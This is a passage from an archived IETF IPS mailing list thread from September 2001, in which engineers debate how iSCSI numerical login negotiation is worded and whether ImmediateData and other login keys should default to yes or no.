Santosh Julian Satran wrote: > > Santosh, > > I understood what you wording means but I am not sure that we want all the > side-effects. > The negotiation as defined now allows both parties requester or responder > to state their wishes and the LAW > insatiate the result in both. > > Your wording means that the responder selects the value according to the > rule. What if the responder is either a rogue or > just a simple minded target. Let me give an example: > > I am building a simple minded target that has an 8K buffer and says always > (has it wired) DataPDULength=8192 > in its first Login response (that is his buffer). > > If an initiator sends him as a "offer" or as a "responder" 16192 then with > the current wording things are fine and both will > have settled to 8192. > > If the initiator sends an offer of 4096 and the target gives his (only > thing he knows) 8192 it is still fine - both select 4096. > > With your wording some of the negotiations will fail since you assume that > the rule should be expressed in building the answer and not in selecting > the result. > > In the end in both case you have to do selections at both target and > initiator but the current rule enables simple-minded prewired messages > while your does not (the responder message defines the selection and the > offerer has to check it). > > Sorry for this long message for such a simple question. > > Julo > > > Santosh Rao > hp.com> cc: > Sent by: Subject: Re: iscsi : numerical negotiation wording > owner-ips@ece. is ambiguous > cmu.edu > > > 26-09-01 23:16 > Please respond > to Santosh Rao > > > > Julian, > > What is the responding party supposed to offer ? Is it supposed to > determine the result of the > negotiation (higher or lower value, as the case may be) and send that as > its response ? > > Or, is it supposed to send in its numerical value and the initiator picks > the higher or lower of > the 2 ? > > This does'nt come across clear enough in the definition and is open to > mis-interpretation. Please > see the suggested re-word in its place. > > Thanks, > Santosh > > Julian Satran wrote: > > > Santosh, > > > > I am missing something. The rule states what value both parties should > have > > after both have seen the two values. > > Obviously we assume that no error occurs and the responder value is seen > y > > the offering party or the negotiation fails. > > > > What exactly is ambiguous about it? > > > > Julo > > > > > > Santosh Rao > > > hp.com> cc: > > Sent by: Subject: iscsi : numerical > negotiation wording is > > owner-ips@ece. ambiguous > > cmu.edu > > > > > > 26-09-01 19:59 > > Please respond > > to Santosh Rao > > > > > > > > Julian & All, > > > > The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 > > reads : > > > > "In numerical negotiations, the offering and responding party state > > a numerical value. The result of the negotiation is key dependent; > > frequently the lower or the higher of the two values is used." > > > > The above definition is ambiguous, since it does not specify whether it > is > > the originator or the responder that computes the result of the > > negotiation. > > > > i.e. Is it the responsibility of the target to pick the higher or lower > of > > the 2 values and respond with the result of the negotiation ? > > > > OR : > > Is it the originator that has to pick the result of the negotiation > > based on the key it sent and the key it got back ? > > > > I would suggest that the wording be clarified to indicate that the > > responder picks the result of the negotiation and sends this result back > > in its response for this key. > > > > Perhaps, some re-wording along the following lines may be in order : > > > > "In numerical negotiations, the offering party states a numerical > > value, and the responding party states the result (operational value) > > after the negotiation. The result of the negotiation is key > > dependent; responder determines it based on the lower or the higher > > of the two values - offering party's value, and what the responder > > can support." > > > > Comments ? > > > > Regards, > > Santosh > > > > -- > > ################################# > > Santosh Rao > > Software Design Engineer, > > HP, Cupertino. > > email : santoshr@cup.hp.com > > Phone : 408-447-3751 > > ################################# > > #### santoshr.vcf has been removed from this note on September 27 2001 by > Julian Satran -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## --=_alternative 00588CD2C2256AD7_= Content-Type: text/html; charset="us-ascii"
Sanjeev,

I am not sure clear I made the tiny diference between what I say and what Santosh said:

Santosh says:
  1. a requester sends A=valuex
  2. a responder sends B=valuey
  3. the responder assumes that the value y is the correct value and so does an external observer
  4. the requester checks that valuey is conformant (he will not believe it) and will reject it if not conformant else it will accept it

    This might be what you "conventionally" do - I don't and that shows that convention like morals are a matter of geography :-)

    The advantage of this set of rules is that it allows an external observer to know what was selected without knowing the rules
    The disadvantage is that messages have to be "built", an additional reject states exists and MOST IMPORTANT you need both messages

    In what I said:

    1. The requester sends A=valuex
    2. The Responder has to send either nothing (if valuex is enough on both sides to compute the result like in the case in which the function is a Boolean AND and the value is NO) or valuey
    3. Both the requestor and responder have to compute the value (they have to know the rules anyhow) and so does the external observer

    The disadvantage is that the external observer has to know the rules
    The advantage is that there is no reject, in binary negotiations you can go away with shorter negotiations and you can set strings at fixed values.

    Julo


    "Sanjeev Bhagat (TRIPACE/Zoetermeer)" <sbhagat@tripace.com>
    Sent by: owner-ips@ece.cmu.edu

    30-09-01 16:32
    Please respond to "Sanjeev Bhagat (TRIPACE/Zoetermeer)"

    		       
            To:        "'Santosh Rao'" <santoshr@cup.hp.com>, Julian Satran/Haifa/IBM@IBMIL
            cc:        ips@ece.cmu.edu
            Subject:        RE: iscsi : numerical negotiation wording is ambiguous

           


    All,

    I agree with Santosh that the responding party must respond the result of
    the negotiation as compared with the value from offering party. All
    negotiations in SCSI like (sync, disconnect etc) are also done the same way.
    I also object to Julian's reason of a simple minded target which wants to
    send certain fixed values only. In case a simple minded target identifies a
    value which it cannot support or is less than the value a target can
    support, then there should be a method for target to reject such a
    negotiation and the default values be accepted on both side as a result of
    negotiation.

    1 Because even if simple minded target sends its fixed value which is
    greater than the value sent by offering party then the final result of
    negotiation will be taken as ( lesser of the two) and in this case target
    which which cannot support the lower value will produce some illegal
    results.

    2. if simple minded target wants to send its own value and wants it to be
    accpeted then the responding party is not negotiating but forcing the result
    on initiator(this method should not be allowed unless explicitly mentioned).

    however if there is another proposal of numeric negotiation in which the
    responding party can force its result to be over ridden by the offering
    party's result then it is acceptable for offering party and responding party
    to send there own supported key-value result and it can then be computed at
    offering party's end.

    IMP: (May be I am missing something here) I do not see how a numeric
    negotiation can be rejected. Is it possible to reject such kind of
    negotiaion?

    Sanjeev

    -----Original Message-----
    From: Santosh Rao [mailto:santoshr@cup.hp.com]
    Sent: Friday, September 28, 2001 11:15 PM
    To: Julian Satran
    Cc: ips@ece.cmu.edu
    Subject: Re: iscsi : numerical negotiation wording is ambiguous


    Julian & All,

    I request the group to take a close look at this negotiation process
    again and [re-]evaluate the alternative being proposed.

    Further, it appears that the login stage negotiation  is also following
    the same algorithm as the login key negotiation, wherein originator &
    responder offer their respective values and both sides need to determine
    the result of the negotiation. i.e. both initiator and target need to
    compare their NSG with the other party's NSG and pick the lower of the
    2.

    I suggest that both the login key negotiation and the login stage
    negotiation follow the policy that the originator offers a value and the
    responder picks the result of the negotiation based on (the offered
    value & its own value). The value picked by the responder is sent back
    to the originator.

    This model has the following advantages :

    1) Only one side picks the result of the negotiaton. Hence, the 2 sides
    cannot go out of sync on the value picked.

    2) The originator knows the negotiated result at the the responder since
    the responder sends back the result of the negotiation.

    3) This model is easier to debug because of (1) & (2).

    4) Less code since only 1 party (responder) needs to perform the
    computation to pick the result of the negotiation.
    5) This scheme leaves less room for interop problems and
    mis-interpretation since it is the more familiar negotiation technique
    that is in use in most other mass storage protocols. (ex : FC PLOGI, FC
    PRLI, etc). From a first reading of the current negotiation scheme, it
    is'nt readily apparent that the currently defined model is different
    from the above and requires both sides to be picking the result of the
    negotiation, instead of just the responder.

    Comments ?

    Thanks,
    Santosh


    Julian Satran wrote:
    >
    > Santosh,
    >
    > I understood what you wording means but I am not sure that we want all the
    > side-effects.
    > The negotiation as defined  now allows both parties requester or responder
    > to state their wishes and the LAW
    > insatiate the result in both.
    >
    > Your wording means that the responder selects the value according to the
    > rule. What if the responder is either a rogue or
    > just a simple minded target.  Let me give an example:
    >
    > I am building a simple minded target that has an 8K buffer and says
    always
    > (has it wired) DataPDULength=8192
    > in its first Login response (that is his buffer).
    >
    > If an initiator sends him as a "offer" or as a "responder" 16192 then with
    > the current wording things are fine and both will
    > have settled to 8192.
    >
    > If the initiator sends an offer of 4096 and the target gives his (only
    > thing he knows) 8192 it is still fine - both select 4096.
    >
    > With your wording some of the negotiations will fail since you assume that
    > the rule should be expressed in building the answer and not in selecting
    > the result.
    >
    > In the end in both case you have to do selections at both target and
    > initiator but the current rule enables simple-minded prewired messages
    > while your does not (the responder message defines the selection and the
    > offerer has to check it).
    >
    > Sorry for this long message for such a simple question.
    >
    > Julo
    >
    >
    >                     Santosh Rao
    >                     <santoshr@cup.       To:     ips@ece.cmu.edu
    >                     hp.com>              cc:
    >                     Sent by:             Subject:     Re: iscsi :
    numerical negotiation wording
    >                     owner-ips@ece.        is ambiguous
    >                     cmu.edu
    >
    >
    >                     26-09-01 23:16
    >                     Please respond
    >                     to Santosh Rao
    >
    >
    >
    > Julian,
    >
    > What is the responding party supposed to offer ? Is it supposed to
    > determine the result of the
    > negotiation (higher or lower value, as the case may be) and send that as
    > its response ?
    >
    > Or, is it supposed to send in its numerical value and the initiator picks
    > the higher or lower of
    > the 2 ?
    >
    > This does'nt come across clear enough in the definition and is open to
    > mis-interpretation. Please
    > see the suggested re-word in its place.
    >
    > Thanks,
    > Santosh
    >
    > Julian Satran wrote:
    >
    > > Santosh,
    > >
    > > I am missing something. The rule states what value both parties should
    > have
    > > after both have seen the two values.
    > > Obviously we assume that no error occurs and the responder value is seen
    > y
    > > the offering party or the negotiation fails.
    > >
    > > What exactly is ambiguous about it?
    > >
    > > Julo
    > >
    > >
    > >                     Santosh Rao
    > >                     <santoshr@cup.       To:     ips@ece.cmu.edu (ips)
    > >                     hp.com>              cc:
    > >                     Sent by:             Subject:     iscsi : numerical
    > negotiation wording is
    > >                     owner-ips@ece.        ambiguous
    > >                     cmu.edu
    > >
    > >
    > >                     26-09-01 19:59
    > >                     Please respond
    > >                     to Santosh Rao
    > >
    > >
    > >
    > > Julian & All,
    > >
    > > The definition of numerical negotiation in Section 2.2.4 of Rev 7.97
    > > reads :
    > >
    > > "In numerical negotiations, the offering and responding party state
    > >  a numerical value. The result of the negotiation is key dependent;
    > >  frequently the lower or the higher of the two values is used."
    > >
    > > The above definition is ambiguous, since it does not specify whether it
    > is
    > > the originator or the responder that computes the result of the
    > > negotiation.
    > >
    > > i.e. Is it the responsibility of the target to pick the higher or lower
    > of
    > > the 2 values and respond with the result of the negotiation ?
    > >
    > > OR :
    > > Is it the originator that has to pick the result of the negotiation
    > > based on the key it sent and the key it got back ?
    > >
    > > I would suggest that the wording be clarified to indicate that the
    > > responder picks the result of the negotiation and sends this result back
    > > in its response for this key.
    > >
    > > Perhaps, some re-wording along the following lines may be in order :
    > >
    > > "In numerical negotiations, the offering party states a numerical
    > >  value, and the responding party states the result (operational value)
    > >  after the negotiation.  The result of the negotiation is key
    > >  dependent; responder determines it based on the lower or the higher
    > >  of the two values - offering party's value, and what the responder
    > >  can support."
    > >
    > > Comments ?
    > >
    > > Regards,
    > > Santosh
    > >
    > > --
    > > #################################
    > > Santosh Rao
    > > Software Design Engineer,
    > > HP, Cupertino.
    > > email : santoshr@cup.hp.com
    > > Phone : 408-447-3751
    > > #################################
    >
    > #### santoshr.vcf has been removed from this note on September 27 2001 by
    > Julian Satran

    --
    ##################################
    Santosh Rao
    Software Design Engineer,
    HP-UX iSCSI Driver Team,
    Hewlett Packard, Cupertino.
    email : santoshr@cup.hp.com
    Phone : 408-447-3751
    ##################################

--=_alternative 00588CD2C2256AD7_=-- From owner-ips@ece.cmu.edu Sun Sep 30 15:39:37 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27018 for ; Sun, 30 Sep 2001 15:39:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UIWrO11685 for ips-outgoing; Sun, 30 Sep 2001 14:32:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls16.mediaone.net (chmls16.mediaone.net [24.147.1.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UHfWP10075 for ; Sun, 30 Sep 2001 13:41:33 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls16.mediaone.net (8.11.1/8.11.1) with SMTP id f8UHg7T13607 for ; Sun, 30 Sep 2001 13:42:08 -0400 (EDT) From: "Eddy Quicksall" To: Subject: RE: new iSCSI draft 08.txt Date: Sun, 30 Sep 2001 13:41:31 -0400 Message-ID: <000c01c149d7$25dd7030$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Does this mean we can't "squawk" anymore? Eddy -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 30, 2001 7:44 AM To: internet-drafts@ietf.org Cc: bassoon@YOGI.PDL.CMU.EDU; ips@ece.cmu.edu Subject: new iSCSI draft 08.txt On behalf of a group of authors from several organizations as part of the IPS working group I submit a revision of an IETF-draft for immediate publication. It specifies iSCSI - a SCSI Over TCP protocol and the file name is "draft-ietf-ips-iSCSI-08.txt". It completely replaces "draft-ietf-ips-iSCSI-07.txt". The draft can be found at: http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iSCSI-08.txt There is also a pdf version that shows the changes from the previous version at: http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iSCSI-08.pdf Julian Satran - IBM Research Laboratory at Haifa From owner-ips@ece.cmu.edu Sun Sep 30 15:41:01 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27053 for ; Sun, 30 Sep 2001 15:41:01 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UIX4211693 for ips-outgoing; Sun, 30 Sep 2001 14:33:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls05.mediaone.net (chmls05.mediaone.net [24.147.1.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UIJQP11252 for ; Sun, 30 Sep 2001 14:19:26 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls05.mediaone.net (8.11.1/8.11.1) with SMTP id f8UIJFr03082; Sun, 30 Sep 2001 14:19:15 -0400 (EDT) From: "Eddy Quicksall" To: , Subject: RE: iscsi : iscsi parameter default values Date: Sun, 30 Sep 2001 14:19:13 -0400 Message-ID: <000001c149dc$6a4bf480$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I interpret what Santosh to say is: I->T something T->I ImmediataData=no I->T ImmediateData=no Isn't the I->T response required due to the phrases "For numerical negotiations, the responding party MUST respond with the required key" & "Binary negotiations are a restricted for of numerical negotiations"? So isn't that the "round trip" Santosh is speaking of and don't you have to do it? BTW, I still have a hard time seeing why an extra round trip is significant when, during a scan, you will have to do so much other I/O anyway (e.g., inquiry, test unit ready, send diagnostic, start unit, read capacity, report luns, etc.). Eddy -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Saturday, September 29, 2001 2:43 AM To: ips@ece.cmu.edu Subject: Re: iscsi : iscsi parameter default values Santosh, The text for 08 is now: In "numerical" negotiations, the offering and responding party state a numerical value. The result of the negotiation is key dependent; frequently the lower or the higher of the two values is used. For numerical negotiations, the responding party MUST respond with the required key. Binary negotiations (for keys taking the values yes or no) are a restricted form of numerical negotiations and the result is a key dependent Boolean function of the two inputs. The negotiation MAY proceed only up to the point where both parties can unequivocally compute the result; continuing beyond this point is OPTIONAL (e.g., if the function is AND and one of the parties says "no" then this may end the negotiation). The value "?" with any key has the meaning of enquiry and should be answered with the current value or "NotUnderstood". No round trip needed for your example. Julo Santosh Rao cc: Sent by: Subject: Re: iscsi : iscsi parameter default values owner-ips@ece. cmu.edu 28-09-01 21:03 Please respond to Santosh Rao John & Julian, I agree with you that ImmediateData is a powerful performance optimization and initiators would like to utilize this feature as much as possible. However, the decision on what the default setting of ImmediateData should be depends on 2 factors, that are aside from initiator's enthusiam to use this feature : 1) It is the most common feature set supported on most targets that should be considered while deciding this default. IOW, are most targets able to support immediate data ? Are they in a position to guarantee data buffers to initiators up-front, not knowing how many initiators would be concurrently logged in and how much concurrent I/O load they would be receiving from the logged-in initiators ? 2) The decision of the default is also partly influenced by the outcome of a seperate mail thread I've initiated with the subject "iscsi : target originated negotiation". Julian, can you please clarify in the wake of comments from Eddy Quicksall & Rod Harrison on this issue ? I see this as an area of interop concern since different folks are interpreting the spec differently. Of particular interest from that thread to this discussion, is the case where most targets do not support ImmediateData [due to the factors mentioned in (1) above] and most initiators are attempting to use ImmediateData [due to the performance boosts it provides], but, are using the default of "yes" to negotiate this feature. In this case, the target would be compelled to originate the ImmediateData="no" key in order to break the default. Now, if initiators (the responder to the negotiation, in this case) are required to respond to this key originated by the target, then, this is going to cause extra round-trips in the login process for the sole purpose of both sides agreeing that ImmediateData is not to be used. It would help to have clarification on how the target originated negotiation culminates, since that is a factor in deciding this default. Thanks, Santosh John Hufferd wrote: > > Robert, > We have had this debate before, and I guess the sides are still polarized. > However, a number of folks believe that immediate is easier to handle then > R2T (since all the information they need is with the PDU), and the > conservative option. The main discussion has been since they also want to > have R2T they did not want to have two code paths. However, when folks > have looked at the effort to support immediate data, they have found it to > be trivial. > > The payback of NOT having multiple round trips to get the data is an > important feature, and when you think about all the error recovery items we > have been discussing, it is clear that immediate data makes every thing > easier. > > The important performance improvements are so important to iSCSI (in my > mind) that if the worse the Target has to do if it can not handle immediate > data, is to send the Text Key of "ImmediateData=no", I do not think this is > a problem. We need to have this performance feature thought about as a > normal property of iSCSI, so that every one that talks about the advantages > of iSCSI can include this, with out a bunch of qualifying statements. > Having this as the default is one way to keep this thought at the front of > everyone's mind. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > Robert Snively on 09/28/2001 08:25:45 AM > > To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > I vote no as the default value on ImmediateData. > > A default value of yes on ImmediateData requires implementation > of the most complex and demanding mode of operation as the > default. SCSI has traditionally made its default behavior the > simplest and most encompassing, setting more sophisticated > behavior by subsequent agreement. While it may be your earnest > desire to encourage the implementation of this function, it > is not appropriate to demand that as the default behavior > of all devices. In particular, there is no special benefit > to providing ImmediateData in low-cost local sub-lans. > > If you want to encourage it in a profile, fine, but demanding > it as the default in the core standard is not appropriate. > > Note that the behavior of SCSI is traditionally managed > entirely by the target. As such, there has never before now > been a requirement for the target to, as a default, accept > any PDU except a command or task management function > that was not explicitly solicited. That is one of the mechanisms > that assists SCSI in achieving a low-overhead zero copy > capability while operating with a large number of initiators > and with deep command queues. > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Friday, September 28, 2001 1:33 AM > > To: Julian Satran > > Cc: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > I also agree with this. It should be yes. > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: ips@ece.cmu.edu > > cc: > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > This is important > > for low-end desktops and hardly matters for large boxes. > > As such I would suggest it stays as yes. > > > > Julo > > > > > > > > "Eddy > > Quicksall" To: "'Santosh Rao'" > > , > > > > iaone.net> cc: > > Sent by: Subject: RE: > > iscsi : iscsi > > parameter default values > > owner-ips@ece.c > > mu.edu > > > > > > 27-09-01 17:22 > > Please respond > > to "Eddy > > Quicksall" > > > > > > > > > > > > I like your defaults below. > > > > But, section 5 says: > > > > The initial Login request MUST include the InitiatorName and > > SessionType key=value pairs. > > > > Since SessionType is REQUIRED, naming a default would imply a > > possible typo > > in the spec. > > > > Eddy > > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Wednesday, September 26, 2001 10:29 PM > > To: ips@ece.cmu.edu > > Subject: iscsi : iscsi parameter default values > > > > > > All, > > > > With the issue of mode page vs. login keys having [almost] drawn to a > > close, I would like to > > raise the below issues again, on the subject of default > > values for login > > keys and other iscsi > > parameters : > > > > > > * In keeping with traditional use of scsi mode pages, iscsi should > > not specify any default > > settings for any mode pages that continue to exist for iscsi. > > "Default values" for mode > > pages are target specific and should not be bound to the protocol > > draft. > > > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > > :-< This implies that > > targets must be always prepared to deal with out of > > order data and > > initiators must be > > prepared to deal with out of order data, unless the initiator > > performs a mode select to > > disable it. [which defeats all the previous advantages > > gained thru > > mandating use of login > > keys for other negotiations.]. A default, if it were to exist, > > should be 0. (in-order, by > > default). > > > > * Conservative specification of defaults for login keys along the > > following lines : > > MaxConnections = 1 > > FMarker = "no" > > InitialR2T = "yes" > > BidiInitialR2T = "yes" > > ImmediateData = "no" > > DataPDULength = 16 > > MaxOutstandingR2T = 1 > > DataPDUInOrder = "yes" > > ErrorRecoveryLevel = 0 > > SessionType = "normal" > > > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > > is an EnableCRN bit > > required at the transport layer ? If the device server capability > > is to be negotiated , I > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > "Control Mode Page", through a > > T10 change as a part of the SCSI changes being driven by iscsi. > > > > Comments ? > > > > Thanks, > > Santosh > > > > > > Santosh Rao wrote: > > > > > There are the separate issues of : > > > > > > * iscsi's specification of defaults for its mode pages > > which is not > > in line with mode page > > > usage. This impacts the target's ability to enforce > > values other > > than the protocol > > > specified default, if the initiator were to not use mode > > sense/select. > > > > > > * default settings for login keys. > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > "Enable CRN" should be in a > > > transport specific mode page ? > > > > > > which need to be driven to closure as well. > > > > > > Regards, > > > Santosh > > > > > > > > > > > > > > > > > > > > > > -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Sun Sep 30 16:54:25 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA27796 for ; Sun, 30 Sep 2001 16:54:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UJn9314162 for ips-outgoing; Sun, 30 Sep 2001 15:49:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UJn7P14157 for ; Sun, 30 Sep 2001 15:49:07 -0400 (EDT) Received: by ZOETERMEER with Internet Mail Service (5.5.2653.19) id ; Sun, 30 Sep 2001 21:51:00 +0200 Message-ID: <8C59010722BBD31194640050DA6EC6971B985D@ZOETERMEER> From: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'Robert Snively'" , "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values Date: Sun, 30 Sep 2001 21:50:59 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk All, I guess this is a very important input from robert. "In FCP, we found that immediate data caused sufficient complexity, both in parsing command structures and in performing error recovery, that we chose not to allow it since there was no performance benefit anyway." Considering this i have a question is immediate data really needed at all? and definitely the default value should be no in this case. Sanjeev -----Original Message----- From: Robert Snively [mailto:rsnively@Brocade.COM] Sent: Sunday, September 30, 2001 7:48 AM To: 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values Julian, Are not both immediate data and "unsolicited" data outside the command PDU both governed by the first-burst size? If so, the problem remains the same. If you have 50 initiators through each of 10 ports to 50 logical units with 50 commands queued in each with immediate data of 4K bytes, that adds up to a lot of bytes which have to have buffers pre-reserved to allow normal operation. It is the buffer management that is invasive, not the indexing of the buffer contents. It is the dual-copy requirement that is invasive, significantly increasing buffer utilization. For these problems, immediate data and unsolicited data are equivalent. Frankly, I see no functional difference between sending data in the same PDU and sending data in an immediately following PDU. In FCP, we found that immediate data caused sufficient complexity, both in parsing command structures and in performing error recovery, that we chose not to allow it since there was no performance benefit anyway. > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 28, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > Robert, > > Unlike FCP - iSCSI has two forms of unsolicited "immediate" > and "separate > unsolicited". They can be used separately or together. > Immediate data is a single PDU comming together with the > command while the > separate unsolicited may come after. > > FCP has only the second type. > > With separate unsolicited the target has to have the buffers > for the burst > and find the "control blocks" by indexing based on ITT. > > With Immediate data the target has to deal with a single PDU (not the > entire burst). Indexing is not done twice (it is done as a > check for the > Control block that is being built). > > This is why Immediate Data is considered far less invasive > than separate > unsolicited (a single buffer, and no indexing) and give the > performance > boost it gives we are going to see it probably on every target. > > Julo > > > > > Robert Snively > > Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu > ade.com> cc: > > Subject: RE: > iscsi : iscsi parameter default values > 29-09-01 01:31 > > Please respond > > to Robert > > Snively > > > > > > > > > Julian, > > For SCSI Write operations, ImmediateData = yes is > the most demanding mode for the target. If I understand > it correctly, it essentially over-rides the R2T state, > allowing the first burst to be included as immediate data. > In SCSI, except for special cases like this, the target > is the device in charge of data transfers. > > This mode requires the target to have a guaranteed collection of > received buffer space adequate to receive all possible > outbound queued operations from all possible initiators > through all possible target sessions (which may sum to > 1000s of output operations), regardless of what other > buffer-intensive operations may be going on in the device. > > It then requires the device to provide association with each > of those commands instead of just the commands it has elected > to activate. Without immediate data, the command buffer can be > separated and separately managed from the data buffer, > limiting buffer requirements. > > It then requires the device to operate in a non-zero-copy > mode (which raises buffer utilization and increases latency) > while the device analyzes the command to determine what should > be done with the data. It further requires the subsequent > data (if there is more than one PDU to be transmitted) to > be separately managed, and perhaps actually stored in a > separate operation if the buffer must be cleared to make > space available for it. It further requires the target to > analyze the data for completeness before going on to determine > what to do with it. > > Sure, it is easy for the initiator, but so is everything else > except out-of-order reads. > It is the target you are stressing with this. > > For local sub-LANs, and depending on the actual buffering > available in the target, the performance may actually be lower with > ImmediateData allowed, because zero copy behavior of the > target to non-volatile media is not available, which raises > buffer utilization. > > Have I missed something that would change my mind? > > Bob > > > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Friday, September 28, 2001 10:38 AM > > To: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > Robert, > > > > I disagree that Immediate is "the most demanding" mode. That > > is not my > > experience and not what I heard from most of the developers. On the > > contrary immediate data do not require a separate indexing > > operation on the > > target (as non-immediate unsolicited do) and that was the > base for the > > consensus to have them negotiated separately. > > > > For the software initiator it is the most inexpensive way to > > perform short > > data transfers (4-8k) typical for major applications like > > Database access > > and so it is for lightweight target. > > > > Julo > > > > > > > > > > > > Robert Snively > > > > > Hufferd/San Jose/IBM@IBMUS, Julian > > ade.com> > > Satran/Haifa/IBM@IBMIL > > cc: > > ips@ece.cmu.edu > > 28-09-01 17:25 Subject: RE: > > iscsi : iscsi parameter default values > > Please respond > > > > to Robert > > > > Snively > > > > > > > > > > > > > > > > > > I vote no as the default value on ImmediateData. > > > > A default value of yes on ImmediateData requires implementation > > of the most complex and demanding mode of operation as the > > default. SCSI has traditionally made its default behavior the > > simplest and most encompassing, setting more sophisticated > > behavior by subsequent agreement. While it may be your earnest > > desire to encourage the implementation of this function, it > > is not appropriate to demand that as the default behavior > > of all devices. In particular, there is no special benefit > > to providing ImmediateData in low-cost local sub-lans. > > > > If you want to encourage it in a profile, fine, but demanding > > it as the default in the core standard is not appropriate. > > > > Note that the behavior of SCSI is traditionally managed > > entirely by the target. As such, there has never before now > > been a requirement for the target to, as a default, accept > > any PDU except a command or task management function > > that was not explicitly solicited. That is one of the mechanisms > > that assists SCSI in achieving a low-overhead zero copy > > capability while operating with a large number of initiators > > and with deep command queues. > > > > Bob Snively e-mail: rsnively@brocade.com > > Brocade Communications Systems phone: 408 487 8135 > > 1745 Technology Drive > > San Jose, CA 95110 > > > > > > > > > -----Original Message----- > > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > > Sent: Friday, September 28, 2001 1:33 AM > > > To: Julian Satran > > > Cc: ips@ece.cmu.edu > > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > > > I also agree with this. It should be yes. > > > > > > . > > > . > > > . > > > John L. Hufferd > > > Senior Technical Staff Member (STSM) > > > IBM/SSG 